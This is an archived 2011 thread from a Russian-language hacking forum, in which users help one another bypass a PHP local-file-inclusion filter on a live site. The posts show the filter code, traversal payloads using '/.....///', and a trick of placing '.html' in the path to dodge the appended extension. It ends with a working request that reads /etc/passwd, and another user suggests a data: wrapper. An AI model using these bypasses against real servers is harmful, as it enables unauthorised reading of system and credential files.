ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |

15.12.2011, 00:17
|
|
Познающий
Регистрация: 19.11.2006
Сообщений: 32
Провел на форуме: 95879
Репутация:
5
|
|
есть запрос
Сообщение от None
index.php?file=\..\..\..\..\..\..\..\..\etc\passwd
Выдает ответ
Сообщение от None
Template Execution Halted! Error: /etc/passwd.html (Template file does not exist)
А вот сама фильтрация в файле index.php
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"http://"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"ftp://"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"://"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]chr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"../"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"%"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]".html"[/COLOR][COLOR="#007700"]) ===[/COLOR][COLOR="#0000BB"]FALSE[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]".html"[/COLOR][COLOR="#007700"];
}
[/COLOR][/COLOR]
Кроме того при обработке file фильтруется
PHP код:
PHP: [COLOR="#000000"]$theValue = str_replace(";","",$theValue);
$theValue = str_replace("[COLOR="#0000BB"][/COLOR]","",$theValue);
$theValue = htmlentities($theValue);
[/COLOR]
Это как то можно обойти и заинклудить файл?
Мои благодарности!!!
|
|
|

15.12.2011, 01:27
|
|
Guest
Сообщений: n/a
Провел на форуме: 90728
Репутация:
62
|
|
никак. тут, хоть и по быдляцки организованная, но всё же, фильтрация есть на конец файла что будет инклудится. выйти на пределы папки можно используя ...../// а вот расширение не отбросить.
|
|
|
|

15.12.2011, 01:30
|
|
Познающий
Регистрация: 19.11.2006
Сообщений: 32
Провел на форуме: 95879
Репутация:
5
|
|
По папкам перебераться научился.
При запросе
Сообщение от None
index.php?file=/.....///admin/blank
Сообщение от None
Template Execution Halted!
Error: /var/site/www/templates/compiled//../admin/blank.html (Cannot create compiled version - check user rights on compiled directory)
а при
Сообщение от None
index.php?file=/.....///default
выдает default.html в корневой директории.
Но вот как отрезать .html
Пробовал слеши.
при запросе
Сообщение от None
index.php?file=/.....///index.php//// (8143 слешей)
дает
Сообщение от None
Request-URI Too Large
The requested URL's length exceeds the capacity limit for this server.
если слешей меньше - просто говорит что не найден файл(((
Может кто подскажет как откинуть хвост?
Спасибо
|
|
|

15.12.2011, 01:34
|
|
Познающий
Регистрация: 19.11.2006
Сообщений: 32
Провел на форуме: 95879
Репутация:
5
|
|
To Чакэ
Спасибо большое
Пока писал пост - ты ответил.
|
|
|

15.12.2011, 01:35
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме: 2101094
Репутация:
672
|
|
если научился перебратся по папкам, тогда .html легко вырезать, в коде же написано, если в имени файла есть .html , то добавлятся не будет в конце, то есть можешь использовать .html Например как имя папки, а потом выйти за его пределы
|
|
|

15.12.2011, 01:41
|
|
Познающий
Регистрация: 19.11.2006
Сообщений: 32
Провел на форуме: 95879
Репутация:
5
|
|
To Konqi
ПОЖАЛУЙСТА покажи как на моих примерах выше. Суть не могу уловить
|
|
|

15.12.2011, 01:45
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме: 2101094
Репутация:
672
|
|
Сообщение от jangle
jangle said:
To Konqi
ПОЖАЛУЙСТА покажи как на моих примерах выше. Суть не могу уловить
$file = '/папка/.html/[выйти_за_пределы_папки_.html]/а_тут_что_хочешь'
в этом случий в конце не будет добавлено .html, так как условие if (strpos($file,".html") == FALSE)) НЕ выполняется
|
|
|

15.12.2011, 01:49
|
|
Познающий
Регистрация: 19.11.2006
Сообщений: 32
Провел на форуме: 95879
Репутация:
5
|
|
Ура получилось
Сообщение от None
index.php?file=/.html/.....///.....///.....///.....///.....///.....///etc/passwd
To Konqi
ты просто ГЕНИЙ!!!!!!!!!!!
|
|
|

15.12.2011, 17:53
|
|
Новичок
Регистрация: 03.05.2009
Сообщений: 7
Провел на форуме: 102906
Репутация:
-14
|
|
Я конечно в этом плохо разбираюсь...а можно "пойти" через протокол DATA например так:
http://site.ru/index.php?id=data:,&cmd=../../../../../../etc/passwd
|
|
|

16.12.2011, 00:40
|
|
Guest
Сообщений: n/a
Провел на форуме: 40748
Репутация:
78
|
|
Сообщение от aydin-ka
aydin-ka said:
Я конечно в этом плохо разбираюсь...а можно "пойти" через протокол DATA
например так:
http://site.ru/index.php?id=data:,&cmd=../../../../../../etc/passwd
Не неси чушь.
|
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|